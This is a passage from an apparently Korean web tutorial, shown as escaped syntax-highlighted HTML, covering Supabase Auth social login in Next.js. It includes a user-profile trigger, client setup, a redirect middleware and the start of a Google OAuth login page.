    NEW&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;raw_user_meta_data&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;name&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    NEW&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;raw_user_meta_data&lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;avatar_url&apos;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;RETURN&lt;/span&gt; NEW&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;END&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
$$ &lt;span class=&quot;token keyword&quot;&gt;LANGUAGE&lt;/span&gt; plpgsql SECURITY &lt;span class=&quot;token keyword&quot;&gt;DEFINER&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;CREATE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;TRIGGER&lt;/span&gt; on_auth_user_created
  &lt;span class=&quot;token keyword&quot;&gt;AFTER&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;INSERT&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;ON&lt;/span&gt; auth&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;users
  &lt;span class=&quot;token keyword&quot;&gt;FOR EACH ROW&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;EXECUTE&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;FUNCTION&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;handle_new_user&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;인증 구현 — Supabase Auth로 소셜 로그인&lt;/h2&gt;
&lt;h3&gt;Supabase 클라이언트 설정&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/lib/supabase.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; createBrowserClient &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@supabase/ssr&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;createClient&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;createBrowserClient&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    process&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;env&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;NEXT_PUBLIC_SUPABASE_URL&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    process&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;env&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;NEXT_PUBLIC_SUPABASE_ANON_KEY&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/lib/supabase-server.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; createServerClient &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@supabase/ssr&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; cookies &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/headers&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;createServerSupabaseClient&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; cookieStore &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;cookies&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;createServerClient&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    process&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;env&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;NEXT_PUBLIC_SUPABASE_URL&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    process&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;env&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;NEXT_PUBLIC_SUPABASE_ANON_KEY&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      cookies&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;getAll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; cookieStore&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getAll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;setAll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cookiesToSet&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token keyword&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            cookiesToSet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;forEach&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; name&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; value&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; options &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt;
              cookieStore&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;name&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; value&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token comment&quot;&gt;// Server Component에서는 쿠키 설정 불가&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;인증 미들웨어&lt;/h3&gt;
&lt;p&gt;인증되지 않은 사용자가 보호된 페이지에 접근하면 로그인 페이지로 리다이렉트합니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/middleware.ts&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; createServerClient &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@supabase/ssr&quot;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; NextResponse&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;type&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;NextRequest&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;next/server&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;middleware&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;request&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; NextRequest&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; supabaseResponse &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; NextResponse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; request &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; supabase &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;createServerClient&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    process&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;env&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;NEXT_PUBLIC_SUPABASE_URL&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    process&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;env&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;NEXT_PUBLIC_SUPABASE_ANON_KEY&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      cookies&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;getAll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cookies&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getAll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
        &lt;span class=&quot;token function&quot;&gt;setAll&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;cookiesToSet&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
          cookiesToSet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;forEach&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; name&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; value &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt;
            request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cookies&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;name&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; value&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
          supabaseResponse &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; NextResponse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;next&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; request &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
          cookiesToSet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;forEach&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; name&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; value&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; options &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt;
            supabaseResponse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;cookies&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;name&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; value&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; options&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
          &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    data&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; user &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; supabase&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;auth&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;getUser&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token comment&quot;&gt;// 인증되지 않은 사용자 리다이렉트&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;user &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nextUrl&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;pathname&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;startsWith&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/login&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;!&lt;/span&gt;request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nextUrl&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;pathname&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;startsWith&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/auth&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt;
    request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nextUrl&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;pathname &lt;span class=&quot;token operator&quot;&gt;!==&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/&quot;&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; url &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; request&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;nextUrl&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;clone&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    url&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;pathname &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;/login&quot;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; NextResponse&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;redirect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;url&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; supabaseResponse
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; config &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  matcher&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;/((?!_next/static|_next/image|favicon.ico).*)&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;로그인 페이지&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;typescript&quot;&gt;&lt;pre class=&quot;language-typescript&quot;&gt;&lt;code class=&quot;language-typescript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/app/login/page.tsx&lt;/span&gt;
&lt;span class=&quot;token string&quot;&gt;&quot;use client&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; createClient &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;@/lib/supabase&quot;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;default&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;LoginPage&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; supabase &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;createClient&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;handleGoogleLogin&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; supabase&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;auth&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;signInWithOAuth&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      provider&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;google&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      options&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        redirectTo&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token template-string&quot;&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;${&lt;/span&gt;window&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;location&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;origin&lt;span class=&quot;token interpolation-punctuation punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;/auth/callback&lt;/span&gt;&lt;span class=&quot;token template-punctuation string&quot;&gt;`&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

